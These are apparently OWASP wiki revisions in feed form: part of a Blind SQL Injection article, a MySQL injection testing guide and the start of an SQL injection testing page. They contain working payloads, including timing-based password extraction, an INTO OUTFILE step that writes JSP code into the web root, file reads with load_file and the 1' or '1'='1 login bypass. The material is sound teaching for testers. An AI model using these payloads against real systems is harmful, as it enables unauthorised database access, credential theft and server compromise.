Having a simple page, which displays article with given ID as the parameter, the attacker may perform a couple of simple tests if a page is vulnerable to SQL Injection attack.&lt;br /&gt;
&lt;br /&gt;
Example URL:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://newspaper.com/items.php?id=2&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
sends the following query to the database:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT title, description, body FROM items WHERE ID = 2&lt;br /&gt;
&amp;lt;/prE&amp;gt;&lt;br /&gt;
The attacker may try to inject any (even invalid) query, what should cause the query to return no results:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://newspaper.com/items.php?id=2 and 1=2&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Now the SQL query should looks like this:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT title, description, body FROM items WHERE ID = 2 and 1=2&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Which means that the query is not going to return anything.&lt;br /&gt;
&lt;br /&gt;
If the web application is vulnerable to SQL Injection, then it probably will not return anything. To make sure, the attacker will certainly inject a valid query:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://newspaper.com/items.php?id=2 and 1=1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
If the content of the page is the same, then the attacker is able to distinguish when the query is True or False.&lt;br /&gt;
&lt;br /&gt;
What next? The only limitations are privileges set up by the database administrator, different SQL dialects and finally the attacker's imagination.&lt;br /&gt;
&lt;br /&gt;
===RDBMS fingerprinting===&lt;br /&gt;
&lt;br /&gt;
If the attacker is able to determine when his query returns True or False, then he may fingerprint the RDBMS. This will make the whole attack much easier to him. One of the most popular methods to do this is to call functions which will return the current date. MySQL, MS SQL or Oracle have different functions for that, respectively ''now()'', ''getdate()'', and ''sysdate()''.&lt;br /&gt;
&lt;br /&gt;
===Timing Attack===&lt;br /&gt;
&lt;br /&gt;
A Timing Attack depends upon injecting the following MySQL query:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT IF(expression, true, false)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Using some time-taking operation e.g. BENCHMARK(), will delay server&lt;br /&gt;
responses if the expression is True.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;BENCHMARK(5000000,ENCODE('MSG','by 5 seconds'))&amp;lt;/pre&amp;gt; - will execute 5000000 times the ENCODE function.&lt;br /&gt;
&lt;br /&gt;
Depending on the database server performence and its load, it should&lt;br /&gt;
take just a moment to finish this operation. The important thing is,&lt;br /&gt;
from the attacker's point of view, to specify high number of BENCHMARK()&lt;br /&gt;
function repetitons, which should affect the server&lt;br /&gt;
response time in a noticeable way.&lt;br /&gt;
&lt;br /&gt;
Example combination of both queries:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
1 UNION SELECT IF(SUBSTRING(user_password,1,1) = CHAR(50),BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')),null) FROM users WHERE user_id = 1;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
If the server response was quite long we may expect that the first user password character with user_id = 1 is character '2'.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
(CHAR(50) == '2')&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Using this method for the rest of characters, it's possible to get to know entire password stored in the database. This method works even when the attacker injects the SQL queries and the content of the vulnerable page doesn't change.&lt;br /&gt;
&lt;br /&gt;
Obviously, in this example the names of the tables and the number of columns was specified. However, it's possible to guess them or check with a trial and error method.&lt;br /&gt;
&lt;br /&gt;
Other databases than MySQL also have implemented functions which allow them to use timing attacks:&lt;br /&gt;
* MS SQL 'WAIT FOR DELAY '0:0:10''&lt;br /&gt;
* PostgreSQL - pg_sleep()&lt;br /&gt;
&lt;br /&gt;
Conducting Blind_SQL_Injection attacks manually is very time consuming, but there are a lot of tools which automate this process. One of them is SQLMap (http://sqlmap.sourceforge.net/) partly developed within OWASP grant program. On the other hand, tools of this kind are very sensitive to even small deviations from the rule. This includes:&lt;br /&gt;
* scanning othe WWW cluster, where clocks are not ideally synchronized,&lt;br /&gt;
* WWW services where argument acquiring method was changed, e.g.  from /index.php?ID=10 to /ID,10&lt;br /&gt;
&lt;br /&gt;
==Related [[Threat Agents]]==&lt;br /&gt;
Same as for [[SQL Injection]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
* [[Blind_XPath_Injection]]&lt;br /&gt;
* [[SQL_Injection]]&lt;br /&gt;
* [[XPATH_Injection]]&lt;br /&gt;
* [[LDAP_injection]]&lt;br /&gt;
* [[Server-Side_Includes_%28SSI%29_Injection]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
* [[Injection_problem]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
* [[:Category:Input Validation]]&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
* http://www.cgisecurity.com/questions/blindsql.shtml&lt;br /&gt;
* http://www.imperva.com/application_defense_center/white_papers/blind_sql_server_injection.html&lt;br /&gt;
* http://www.securitydocs.com/library/2651&lt;br /&gt;
* http://seclists.org/bugtraq/2005/Feb/0288.html&lt;br /&gt;
* http://ferruh.mavituna.com/makale/sql-injection-cheatsheet/&lt;br /&gt;
&lt;br /&gt;
'''Online Resources'''&lt;br /&gt;
* [http://www.nccgroup.com/Libraries/Document_Downloads/more__Advanced_SQL_Injection.sflb.ashx more Advanced SQL Injection] - by NGS&lt;br /&gt;
* [http://www.blackhat.com/presentations/bh-usa-04/bh-us-04-hotchkies/bh-us-04-hotchkies.pdf Blind SQL Injection Automation Techniques] - Black Hat Pdf&lt;br /&gt;
* [http://seclists.org/lists/bugtraq/2005/Feb/0288.html Blind Sql-Injection in MySQL Databases]&lt;br /&gt;
* [http://www.cgisecurity.com/questions/blindsql.shtml Cgisecurity.com: What is Blind SQL Injection?]&lt;br /&gt;
* Kevin Spett from SPI Dynamics: http://www.net-security.org/dl/articles/Blind_SQLInjection.pdf&lt;br /&gt;
* http://www.imperva.com/resources/whitepapers.asp?t=ADC&lt;br /&gt;
* [https://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt Advanced SQL Injection]&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&lt;br /&gt;
* [http://www.sqlpowerinjector.com/ SQL Power Injector]&lt;br /&gt;
* [http://www.0x90.org/releases/absinthe/ Absinthe :: Automated Blind SQL Injection] // ver1.3.1&lt;br /&gt;
* [http://www.securiteam.com/tools/5IP0L20I0E.html SQLBrute - Multi Threaded Blind SQL Injection Bruteforcer] in Python&lt;br /&gt;
* [[:Category:OWASP_SQLiX_Project|SQLiX - SQL Injection Scanner]] in Perl&lt;br /&gt;
* [http://sqlmap.sourceforge.net sqlmap, automatic SQL injection tool] in Python&lt;br /&gt;
* [http://www.514.es/2006/12/inyeccion_de_codigo_bsqlbf12th.html bsqlbf, a blind SQL injection tool] in Perl&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Injection]]&lt;br /&gt;
[[Category: Attack]]&lt;/div&gt;</summary>
		<author><name>Shady</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_MySQL&amp;diff=128752</id>
		<title>Testing for MySQL</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_MySQL&amp;diff=128752"/>
				<updated>2012-04-29T13:56:33Z</updated>
		
		<summary type="html">&lt;p&gt;Shady: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
== Short Description of the Issue == &lt;br /&gt;
[[SQL Injection]] vulnerabilities occur whenever input is used in the construction of a SQL query without being adequately constrained or sanitized. The use of dynamic SQL (the construction of SQL queries by concatenation of strings) opens the door to these vulnerabilities. SQL injection allows an attacker to access the SQL servers. It allows for the execution of SQL code under the privileges of the user used to connect to the database.&lt;br /&gt;
&lt;br /&gt;
''MySQL server'' has a few particularities so that some exploits need to be &lt;br /&gt;
specially customized for this application. That's the subject of this section.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
=== How to Test ===&lt;br /&gt;
When an SQL injection vulnerability is found in an application backed by a MySQL database,&lt;br /&gt;
there are a number of attacks that could be performed depending &lt;br /&gt;
on the MySQL version and user privileges on DBMS.&lt;br /&gt;
&lt;br /&gt;
MySQL comes with at least four versions which are used in production worldwide.&lt;br /&gt;
3.23.x, 4.0.x, 4.1.x and 5.0.x.&lt;br /&gt;
Every version has a set of features proportional to version number.&lt;br /&gt;
&lt;br /&gt;
* From Version 4.0: UNION &lt;br /&gt;
* From Version 4.1: Subqueries&lt;br /&gt;
* From Version 5.0: Stored procedures, Stored functions and the view named INFORMATION_SCHEMA&lt;br /&gt;
* From Version 5.0.2: Triggers &lt;br /&gt;
&lt;br /&gt;
It should be noted that for MySQL versions before 4.0.x, only Boolean or time-based Blind Injection attacks could be used, since the subquery functionality or UNION statements were not implemented.&lt;br /&gt;
&lt;br /&gt;
From now on, we will assume that there is a classic SQL injection vulnerability, which can be triggered by a request similar to the the one described in the Section on [[Testing for SQL Injection  (OWASP-DV-005)|Testing for SQL Injection]].&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/page.php?id=2&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== The Single Quotes Problem ===&lt;br /&gt;
Before taking advantage of MySQL features, &lt;br /&gt;
it has to be taken in consideration how strings could be represented&lt;br /&gt;
in a statement, as often web applications escape single quotes.&lt;br /&gt;
&lt;br /&gt;
MySQL quote escaping is the following:&amp;lt;br&amp;gt;&lt;br /&gt;
''' &amp;lt;nowiki&amp;gt;'A string with \'quotes\''&amp;lt;/nowiki&amp;gt; '''&lt;br /&gt;
&lt;br /&gt;
That is, MySQL interprets escaped apostrophes (\') as characters and not as&lt;br /&gt;
metacharacters.&lt;br /&gt;
&lt;br /&gt;
So if the application, to work properly, needs to use constant strings,&lt;br /&gt;
two cases are to be differentiated: &lt;br /&gt;
# Web app escapes single quotes (' =&amp;gt; \')&lt;br /&gt;
# Web app does not escape single quotes (' =&amp;gt; ')&lt;br /&gt;
&lt;br /&gt;
Under MySQL, there is a standard way to bypass the need of single quotes, having a constant string to be declared without the need for single quotes.&lt;br /&gt;
&lt;br /&gt;
Let's suppose we want to know the value of a field named 'password' in a record,&lt;br /&gt;
with a condition like the following:&lt;br /&gt;
password like 'A%'&lt;br /&gt;
&lt;br /&gt;
# The ASCII values in a concatenated hex:&amp;lt;br&amp;gt;&lt;br /&gt;
#: password LIKE 0x4125&lt;br /&gt;
# The char() function:&lt;br /&gt;
#: password LIKE CHAR(65,37)&lt;br /&gt;
&lt;br /&gt;
=== Multiple mixed queries: ===&lt;br /&gt;
&lt;br /&gt;
MySQL library connectors do not support multiple queries separated&lt;br /&gt;
by '''&amp;lt;nowiki&amp;gt;';'&amp;lt;/nowiki&amp;gt;''' so there's no way to inject multiple non-homogeneous SQL commands inside a single SQL injection vulnerability like in Microsoft SQL Server.&lt;br /&gt;
&lt;br /&gt;
For example the following injection will result in an error:&lt;br /&gt;
&lt;br /&gt;
 1 ; update tablename set code='javascript code' where 1 --&lt;br /&gt;
&lt;br /&gt;
=== Information gathering ===&lt;br /&gt;
&lt;br /&gt;
==== Fingerprinting MySQL ====&lt;br /&gt;
&lt;br /&gt;
Of course, the first thing to know is if there's MySQL DBMS as a backend.&lt;br /&gt;
&lt;br /&gt;
MySQL server has a feature that is used to let other DBMS ignore a clause in MySQL&lt;br /&gt;
dialect. When a comment block ''('/**/')'' contains an exclamation mark ''('/*! sql here*/')'' it is interpreted by MySQL, and is considered as a normal comment block by other DBMS&lt;br /&gt;
as explained in [http://dev.mysql.com/doc/refman/5.0/en/comments.html MySQL manual].&lt;br /&gt;
&lt;br /&gt;
Example:&lt;br /&gt;
 1 /*! and 1=0 */&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
''If MySQL is present, the clause inside the comment block will be interpreted.''&lt;br /&gt;
&lt;br /&gt;
==== Version ====&lt;br /&gt;
&lt;br /&gt;
There are three ways to gain this information:&lt;br /&gt;
# By using the global variable @@version&lt;br /&gt;
# By using the function [[http://dev.mysql.com/doc/refman/5.0/en/information-functions.html VERSION()]]&lt;br /&gt;
# By using comment fingerprinting with a version number /*!40110 and 1=0*/&lt;br /&gt;
#: which means &lt;br /&gt;
 &amp;lt;nowiki&amp;gt;if(version &amp;gt;= 4.1.10) &lt;br /&gt;
   add 'and 1=0' to the query.&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
These are equivalent as the result is the same.&lt;br /&gt;
&lt;br /&gt;
In band injection:&lt;br /&gt;
&lt;br /&gt;
 1 AND 1=0 UNION SELECT @@version /*&lt;br /&gt;
&lt;br /&gt;
Inferential injection:&lt;br /&gt;
&lt;br /&gt;
 1 AND @@version like '4.0%'&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
''A string like this: '''5.0.22-log''' ''&lt;br /&gt;
&lt;br /&gt;
==== Login User ====&lt;br /&gt;
&lt;br /&gt;
There are two kinds of users MySQL Server relies upon.&lt;br /&gt;
# [[http://dev.mysql.com/doc/refman/5.0/en/information-functions.html USER()]]: the user connected to the MySQL Server.&lt;br /&gt;
# [[http://dev.mysql.com/doc/refman/5.0/en/information-functions.html CURRENT_USER()]]: the internal user who is executing the query.&lt;br /&gt;
&lt;br /&gt;
There is some difference between 1 and 2.&lt;br /&gt;
&lt;br /&gt;
The main one is that an anonymous user could connect (if allowed)&lt;br /&gt;
with any name, but the MySQL internal user is an empty name (&amp;lt;nowiki&amp;gt;''&amp;lt;/nowiki&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
Another difference is that a stored procedure or a stored function&lt;br /&gt;
are executed as the creator user, if not declared elsewhere. This &lt;br /&gt;
can be known by using '''CURRENT_USER'''.&lt;br /&gt;
&lt;br /&gt;
In band injection:&lt;br /&gt;
&lt;br /&gt;
 1 AND 1=0 UNION SELECT USER() &lt;br /&gt;
&lt;br /&gt;
Inferential injection:&lt;br /&gt;
&lt;br /&gt;
 1 AND USER() like 'root%'&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
''A string like this: '''user@hostname''' ''&lt;br /&gt;
&lt;br /&gt;
==== Database name in use ====&lt;br /&gt;
&lt;br /&gt;
There is the native function DATABASE()&lt;br /&gt;
&lt;br /&gt;
In band injection:&lt;br /&gt;
&lt;br /&gt;
 1 AND 1=0 UNION SELECT DATABASE() &lt;br /&gt;
&lt;br /&gt;
Inferential injection:&lt;br /&gt;
&lt;br /&gt;
 1 AND DATABASE() like 'db%'&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
''A string like this: '''dbname''' ''&lt;br /&gt;
&lt;br /&gt;
==== INFORMATION_SCHEMA ====&lt;br /&gt;
From MySQL 5.0 a view named [[http://dev.mysql.com/doc/refman/5.0/en/information-schema.html INFORMATION_SCHEMA]] was created.&lt;br /&gt;
It allows us to get all informations about databases, tables, and columns,&lt;br /&gt;
as well as procedures and functions.&lt;br /&gt;
&lt;br /&gt;
Here is a summary of some interesting Views.&lt;br /&gt;
{| border=1&lt;br /&gt;
 || '''Tables_in_INFORMATION_SCHEMA''' || '''DESCRIPTION'''&lt;br /&gt;
|-&lt;br /&gt;
|| ..[skipped]..|| ..[skipped].. &lt;br /&gt;
|-&lt;br /&gt;
|| SCHEMATA || All databases the user has (at least) SELECT_priv &lt;br /&gt;
|-&lt;br /&gt;
|| SCHEMA_PRIVILEGES || The privileges the user has for each DB&lt;br /&gt;
|-&lt;br /&gt;
|| TABLES || All tables  the user has (at least) SELECT_priv&lt;br /&gt;
|-&lt;br /&gt;
|| TABLE_PRIVILEGES || The privileges the user has for each table&lt;br /&gt;
|-&lt;br /&gt;
|| COLUMNS || All columns  the user has (at least) SELECT_priv&lt;br /&gt;
|-&lt;br /&gt;
|| COLUMN_PRIVILEGES || The privileges the user has for each column&lt;br /&gt;
|-&lt;br /&gt;
|| VIEWS || All columns  the user has (at least) SELECT_priv&lt;br /&gt;
|-&lt;br /&gt;
|| ROUTINES || Procedures and functions (needs EXECUTE_priv)&lt;br /&gt;
|-&lt;br /&gt;
|| TRIGGERS || Triggers (needs INSERT_priv)&lt;br /&gt;
|-&lt;br /&gt;
|| USER_PRIVILEGES || Privileges connected User has&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
All of this information could be extracted by using known techniques as &lt;br /&gt;
described in SQL Injection section.&lt;br /&gt;
&lt;br /&gt;
=== Attack vectors ===&lt;br /&gt;
&lt;br /&gt;
==== Write in a File ====&lt;br /&gt;
&lt;br /&gt;
If the connected user has '''FILE''' privileges and single quotes are not escaped,&lt;br /&gt;
the 'into outfile' clause can be used to export query results in a file.&lt;br /&gt;
&lt;br /&gt;
 Select * from table into outfile '/tmp/file'&lt;br /&gt;
&lt;br /&gt;
Note: there is no way to bypass single quotes surrounding a filename. &lt;br /&gt;
So if there's some sanitization on single quotes like escape (\') there will&lt;br /&gt;
be no way to use the 'into outfile' clause.&lt;br /&gt;
&lt;br /&gt;
This kind of attack could be used as an out-of-band technique to gain information&lt;br /&gt;
about the results of a query or to write a file which could be executed inside the &lt;br /&gt;
web server directory.&lt;br /&gt;
&lt;br /&gt;
Example:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;1 limit 1 into outfile '/var/www/root/test.jsp' FIELDS ENCLOSED BY '//'  LINES TERMINATED BY '\n&amp;lt;%jsp code here%&amp;gt;';&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
'' Results are stored in a file with rw-rw-rw privileges owned by &lt;br /&gt;
MySQL user and group.&lt;br /&gt;
&lt;br /&gt;
Where ''/var/www/root/test.jsp'' will contain:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;//field values//&lt;br /&gt;
&amp;lt;%jsp code here%&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Read from a File ====&lt;br /&gt;
&lt;br /&gt;
Load_file is a native function that can read a file when allowed by &lt;br /&gt;
filesystem permissions. &lt;br /&gt;
&lt;br /&gt;
If a connected user has '''FILE''' privileges, it could be used to get the files' content.&lt;br /&gt;
&lt;br /&gt;
Single quotes escape sanitization can by bypassed by using previously described&lt;br /&gt;
techniques.&lt;br /&gt;
&lt;br /&gt;
 load_file('filename')&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''The whole file will be available for exporting by using standard techniques.''&lt;br /&gt;
&lt;br /&gt;
=== Standard SQL Injection Attack ===&lt;br /&gt;
&lt;br /&gt;
In a standard SQL injection you can have results displayed directly &lt;br /&gt;
in a page as normal output or as a MySQL error.&lt;br /&gt;
By using already mentioned SQL Injection attacks and the already described&lt;br /&gt;
MySQL features, direct SQL injection could be easily accomplished at a level&lt;br /&gt;
depth depending primarily on the MySQL version the pentester is facing.&lt;br /&gt;
&lt;br /&gt;
A good attack is to know the results by forcing a function/procedure&lt;br /&gt;
or the server itself to throw an error.&lt;br /&gt;
A list of errors thrown by MySQL and in particular native functions could&lt;br /&gt;
be found on [http://dev.mysql.com/doc/refman/5.0/en/error-messages-server.html MySQL Manual].&lt;br /&gt;
&lt;br /&gt;
=== Out of band SQL Injection ===&lt;br /&gt;
&lt;br /&gt;
Out of band injection could be accomplished by using the [[#Write_in_a_File|'into outfile']] clause.&lt;br /&gt;
=== Blind SQL Injection ===&lt;br /&gt;
For blind SQL injection, there is a set of useful function natively provided by MySQL server.&lt;br /&gt;
&lt;br /&gt;
* String Length: &lt;br /&gt;
*: ''LENGTH(str)''&lt;br /&gt;
* Extract a substring from a given string: &lt;br /&gt;
*: ''SUBSTRING(string, offset, #chars_returned)''&lt;br /&gt;
* Time based Blind Injection: BENCHMARK and SLEEP &lt;br /&gt;
*: ''BENCHMARK(#ofcycles,action_to_be_performed )''&lt;br /&gt;
*: The benchmark function could be used to perform timing attacks, when blind injection by boolean values does not yield any results.&lt;br /&gt;
*: See. SLEEP() (MySQL &amp;gt; 5.0.x) for an alternative on benchmark.&lt;br /&gt;
&lt;br /&gt;
For a complete list, refer to MySQL manual - http://dev.mysql.com/doc/refman/5.0/en/functions.html&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Chris Anley: &amp;quot;Hackproofing MySQL&amp;quot; -http://www.nextgenss.com/papers/HackproofingMySQL.pdf&lt;br /&gt;
&lt;br /&gt;
'''Case Studies'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Zeelock: Blind Injection in MySQL Databases - http://archive.cert.uni-stuttgart.de/bugtraq/2005/02/msg00289.html&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Francois Larouche: Multiple DBMS SQL Injection tool - http://www.sqlpowerinjector.com/index.htm&amp;lt;br&amp;gt;&lt;br /&gt;
* ilo--:  MySQL Blind Injection Bruteforcing, Reversing.org - http://www.reversing.org/node/view/11 sqlbftools&amp;lt;br&amp;gt;&lt;br /&gt;
* Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - http://sqlmap.sourceforge.net&lt;br /&gt;
* Antonio Parata: Dump Files by SQL inference on MySQL - http://www.ictsc.it/site/IT/projects/sqlDumper/sqldumper.src.tar.gz&amp;lt;br&amp;gt;&lt;br /&gt;
* Muhaimin Dzulfakar: MySqloit, MySql Injection takeover tool - http://code.google.com/p/mysqloit/&lt;/div&gt;</summary>
		<author><name>Shady</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_SQL_Injection_(OTG-INPVAL-005)&amp;diff=128751</id>
		<title>Testing for SQL Injection (OTG-INPVAL-005)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_SQL_Injection_(OTG-INPVAL-005)&amp;diff=128751"/>
				<updated>2012-04-29T13:43:58Z</updated>
		
		<summary type="html">&lt;p&gt;Shady: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
An [[SQL injection]] attack consists of insertion or &amp;quot;injection&amp;quot; of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file existing on the DBMS file system and, in some cases, issue commands to the operating system. &lt;br /&gt;
SQL injection attacks are a type of  [[Top 10 2007-Injection Flaws | injection attack]], in which SQL commands are injected into data-plane input in order to affect the execution of predefined SQL commands.&lt;br /&gt;
&lt;br /&gt;
==Related Security Activities==&lt;br /&gt;
&lt;br /&gt;
===Description of SQL Injection Vulnerabilities===&lt;br /&gt;
&lt;br /&gt;
See the OWASP article on [[SQL Injection]] Vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
See the OWASP article on [[Blind_SQL_Injection]] Vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
===How to Avoid SQL Injection Vulnerabilities===&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP Guide Project|OWASP Development Guide]] article on how to [[Guide to SQL Injection | Avoid SQL Injection]] Vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP Code Review Project|OWASP Code Review Guide]] article on how to [[Reviewing Code for SQL Injection|Review Code for SQL Injection]] Vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
See the OWASP Prevention Cheat Sheet Series article on [[SQL Injection Prevention Cheat Sheet | Preventing SQL Injection]]&lt;br /&gt;
&lt;br /&gt;
[[Category:Security Focus Area]]&lt;br /&gt;
__NOTOC__&lt;br /&gt;
&lt;br /&gt;
==  Description of the Issue ==&lt;br /&gt;
SQL Injection attacks can be divided into the following three classes:&lt;br /&gt;
* Inband: data is extracted using the same channel that is used to inject the SQL code. This is the most straightforward kind of attack, in which the retrieved data is presented directly in the application web page.&lt;br /&gt;
* Out-of-band: data is retrieved using a different channel (e.g., an email with the results of the query is generated and sent to the tester).&lt;br /&gt;
* Inferential: there is no actual transfer of data, but the tester is able to reconstruct the information by sending particular requests and observing the resulting behaviour of the DB Server.&lt;br /&gt;
&lt;br /&gt;
Independent of the attack class, a successful SQL Injection attack requires the attacker to craft a syntactically correct SQL Query. If the application returns an error message generated by an incorrect query, then it is easy to reconstruct the logic of the original query and, therefore, understand how to perform the injection correctly. However, if the application hides the error details, then the tester must be able to reverse engineer the logic of the original query. The latter case is known as &amp;quot;[[Blind SQL Injection]]&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
==  Black Box testing and example == &lt;br /&gt;
&lt;br /&gt;
=== SQL Injection Detection ===&lt;br /&gt;
&lt;br /&gt;
The first step in this test is to understand when our application connects to a DB Server in order to access some data. Typical examples of cases when an application needs to talk to a DB include:&lt;br /&gt;
* Authentication forms: when authentication is performed using a web form, chances are that the user credentials are checked against a database that contains all usernames and passwords (or, better, password hashes)&lt;br /&gt;
* Search engines: the string submitted by the user could be used in a SQL query that extracts all relevant records from a database&lt;br /&gt;
* E-Commerce sites: the products and their characteristics (price, description, availability, ...) are very likely to be stored in a relational database.&lt;br /&gt;
The tester has to make a list of all input fields whose values could be used in crafting a SQL query, including the hidden fields of POST requests and then test them separately, trying to interfere with the query and to generate an error.&lt;br /&gt;
The very first test usually consists of adding a single quote (') or a semicolon (;) to the field under test. The first is used in SQL as a string terminator and, if not filtered by the application, would lead to an incorrect query. The second is used to end a SQL statement and, if it is not filtered, it is also likely to generate an error. &lt;br /&gt;
The output of a vulnerable field might resemble the following (on a Microsoft SQL Server, in this case):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'&lt;br /&gt;
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the &lt;br /&gt;
character string ''.&lt;br /&gt;
/target/target.asp, line 113&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Also comments (--) and other SQL keywords like 'AND' and 'OR' can be used to try to modify the query. A very simple but sometimes still effective technique is simply to insert a string where a number is expected, as an error like the following might be generated:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 Microsoft OLE DB Provider for ODBC Drivers error '80040e07'&lt;br /&gt;
 [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the&lt;br /&gt;
 varchar value 'test' to a column of data type int.&lt;br /&gt;
 /target/target.asp, line 113&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
A full error message, like those in the examples, provides a wealth of information to the tester in order to mount a successful injection. However, applications often do not provide so much detail: a simple '500 Server Error' or a custom error page might be issued, meaning that we need to use blind injection techniques.&lt;br /&gt;
In any case, it is very important to test *each field separately*: only one variable must vary while all the other remain constant, in order to precisely understand which parameters are vulnerable and which are not.&lt;br /&gt;
&lt;br /&gt;
=== Standard SQL Injection Testing ===&lt;br /&gt;
&lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
&lt;br /&gt;
 SELECT * FROM Users WHERE Username='$username' AND Password='$password' &lt;br /&gt;
&lt;br /&gt;
A similar query is generally used from the web application in order to authenticate a user. If the query returns a value it means that inside the database a user with that credentials exists, then the user is allowed to login to the system, otherwise the access is denied.&lt;br /&gt;
The values of the input fields are generally obtained from the user through a web form. &lt;br /&gt;
Suppose we insert the following Username and Password values: &lt;br /&gt;
&lt;br /&gt;
 $username = 1' or '1' = '1&lt;br /&gt;
 $password = 1' or '1' = '1&lt;br /&gt;
&lt;br /&gt;
The query will be: &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1'&amp;lt;/nowiki&amp;gt; &lt;br /&gt;
If we suppose that the values of the parameters are sent to the server through the GET method, and if the domain of the vulnerable web site is www.example.com, the request that we'll carry out will be:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&amp;amp;password=1'%20or%20'1'%20=%20'1 &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
After a short analysis we notice that the query returns a value (or a set of values) because the  condition is always true (OR 1=1). In this way the system has authenticated the user without knowing the username and password.&amp;lt;BR&amp;gt; ''In some systems the first row of a user table would be an administrator user. This may be the profile returned in some cases.''&lt;br /&gt;
Another example of query is the following: &lt;br /&gt;
&lt;br /&gt;
 SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password'))) &lt;br /&gt;
&lt;br /&gt;
In this case, there are two problems, one due to the use of the parentheses and one due to the use of MD5 hash function. &lt;br /&gt;
First of all, we resolve the problem of the parentheses. &lt;br /&gt;
